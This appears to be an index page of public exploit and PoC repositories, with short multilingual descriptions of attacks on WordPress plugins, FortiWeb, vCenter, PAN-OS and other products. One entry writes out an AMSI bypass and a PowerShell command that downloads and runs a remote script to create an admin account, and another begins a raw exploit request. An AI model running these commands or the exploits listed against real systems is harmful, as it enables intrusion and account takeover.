CVE-2025-68860

WordPress Mobile Builder = 1.4.2 - Authentification cassée CVE-2025-68860 Description Le plugin WordPress Mobile builder version 1.4.2 et inférieures présente une vulnérabilité d'authentification cassée qui permet à un attaquant de créer un token JWT valide avec le secret par défaut "examplekey" ...

CVE-2025-64446

🛡️ CVE-2025-64446 - تجاوز المصادقة الحرج واجتياز المسار في FortiWeb ثغرة حرجة غير موثقة تسمح للمهاجمين عن بُعد بإنشاء حسابات إدارة على أجهزة FortiWeb. 📌 نظرة عامة CVE-2025-64446 هي ثغرة اجتياز مسار نسبي خطيرة في واجهة إدارة جدار حماية تطبيقات الويب FortiWeb. يمكن لمهاجم بعيد غير موثَّق استغلال هذا...

CVE-2023-32315

CVE-2023-32315 - Уязвимость Path Traversal в Ignite Realtime Openfire ⚠️ Только для образовательных и авторизованных исследований безопасности Авторы оригинального эксплойта Огромная благодарность оригинальному автору PoC phith0n и K3ysTr0K3R Описание Openfire — это XMPP-сервер, распространяемый...

CVE-2024-34832

CubeCart - Traversée de répertoire pouvant mener à une RCE CVE-2024-34832 TL;DR Dans le panneau d'administration, des paramètres tels que g et node sont utilisés pour construire le chemin d'inclusion de fichiers .inc.php et exécuter du code PHP. Un utilisateur malveillant capable de télécharger d...

CVE-2024-22274

CVE-2024-22274 : Exécution de code à distance authentifiée dans VMware vCenter Server Le vCenter Server contient une vulnérabilité d'exécution de code à distance authentifiée. Un acteur malveillant disposant de privilèges administratifs sur le shell de l'appliance vCenter peut exploiter ce problè...

CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE

اسم المشروع ورابط المستودع: نظام إدارة توظيف الخادمات باستخدام PHP وMySQL نوع الثغرة: تزوير الطلب من جانب العميل الإصدار الإصدارات المتأثرة: v1.0 💣وصف الثغرة: توجد ثغرة تزوير الطلب عبر المواقع CSRF في لوحة الإدارة لنظام PHPGurukul لإدارة التوظيف، مما يسمح للمهاجم بإضافة فئات توظيف عشوائية عن طريق...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — SSRF ThingsBoard via le téléversement d'images SVG Aperçu Vulnérabilité de type Server-Side Request Forgery SSRF dans la plateforme IoT ThingsBoard, versions antérieures à 4.2.1. Un attaquant disposant d'un accès Tenant Admin peut téléverser un fichier SVG malveillant contenant u...

CVE-2025-31161_exploit

CVE-2025-31161 / CVE-2025-2825 استغلال بايثون لمعالجة عنوان URL واحد، استخدم الأمر: python3 script.py -u http://example.com لمعالجة ملف يحتوي على قائمة عناوين URL واحد في كل سطر، استخدم الأمر: python3 script.py -l urls.txt لتحديد عدد الخيوط، استخدم العلم -t. سيتم حفظ نتائج تشغيل السكريبت عناوين U...

cve-2025-4615

CVE-2025-4615 — Analyse technique & Preuve de concept Vulnérabilité : Neutralisation inadéquate des entrées dans l'interface de gestion Web de PAN‑OS Avis du fabricant : https://security.paloaltonetworks.com/CVE-2025-4615 CVSS 4.0 : 6.9 MOYEN — Intégrité HAUTE, Disponibilité HAUTE CWE : CWE-83...

CVE-2022-21661

CVE-2022-21661 CVE-2022-21661 docker and poc Le fichier functions.php doit remplacer le functions.php de l'image d'origine, et il est directement monté dans docker-compose.yml. poc POST /wp-admin/admin-ajax.php HTTP/1.1 Host: your-ip:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64;...

CVE-2023-28121-WordPress-Privilege-Escalation

🔐 CVE-2023-28121 — Élévation de privilèges WordPress Exploitation pratique d'une vulnérabilité critique dans WordPress à l'aide du plugin WooCommerce Payments. 📌 Résumé La CVE-2023-28121 permet de créer des utilisateurs administrateurs sans authentification via l'API REST. Sévérité : Critique CVS...

CVE-2025-50286

Grav Admin Direct Install RCE CVE-2025-50286 Модуль Metasploit и лабораторная установка для аутентифицированного удаленного выполнения кода в функциональности Direct Install плагина Grav Admin. Обзор CVE: CVE-2025-50286 Воздействие: Аутентифицированный RCE Вектор: Панель администратора → Direct...

CVE-2021-34646

CVE-2021-34646 PoC Détail de la vulnérabilité par NVD Les versions jusqu'à et y compris la 5.4.3 du plugin Booster for WooCommerce pour WordPress sont vulnérables à un contournement d'authentification via la fonction processemailverification en raison d'une faiblesse dans la génération de jetons...

CVE-2026-52782

abraxaslabs.tech · github.com/abraxas · @abraxasnull · CVE-2026-52782 CVE-2026-52782 OpenProject 17.3.2 — OpenProject GmbH OpenProject est un logiciel de gestion de projet open-source basé sur le web. Avant les versions 17.3.3 et 17.4.1, un IDOR via les paramètres de stockage de projet permet à u...

CVE-2026-8732

CVE-2026-8732 - Scanneur de masse WordPress WP Google Map Pro et créateur automatique d'administrateur 📌 Description Cet outil exploite CVE-2026-8732 , une vulnérabilité dans le plugin WP Google Map Pro pour WordPress. La vulnérabilité permet à un attaquant non authentifié d'obtenir un wpmptoken...

cve-2021-1675

cve-2021-1675 تعطيل AMSI: انسخ في PowerShell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt تنفيذ invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' إنشاء حساب مسؤول...

CVE-2026-16232

CVE-2026-16232 — Contournement d'authentification de Check Point SmartConsole PoC de contournement d'authentification allant de l'accès réseau non authentifié aux droits d'administrateur complets. Fichier unique, Python 3, bibliothèque standard pure, zéro dépendance. Résumé de la vulnérabilité Le...

CVE-2024-54363-Exploit

CVE-2024-54363-Exploit La vulnérabilité d'attribution de privilèges incorrecte dans nssTheme Wp NssUser Register permet une élévation de privilèges. Ce problème affecte Wp NssUser Register : de n/a à 1.0.0. Description Le plugin nssTheme Wp NssUser Register pour WordPress est vulnérable à un...

Wp2shell-ioc-scanner

=== Scanner IOC wp2shell === Contributeurs : michaelkanda URI de l'auteur : https://designare.at URI du plugin : https://github.com/michael-kanda/Wp2shell-ioc-scanner Mots-clés : sécurité, réponse-aux-incidents, wordpress, shadow-admin, ioc Nécessite au moins : 6.0 Testé jusqu'à : 7.0 Nécessite P...

CVE-2024-27956

🚨POC PUBLIÉ🚨PoC pour l'injection SQL menant à une exécution de code à distance RCE dans WordPress publié CVE-2024-27956. Création de compte administrateur WordPress et reverse shell cve-2024-27956 Utilisation - sudo python3 cve.py...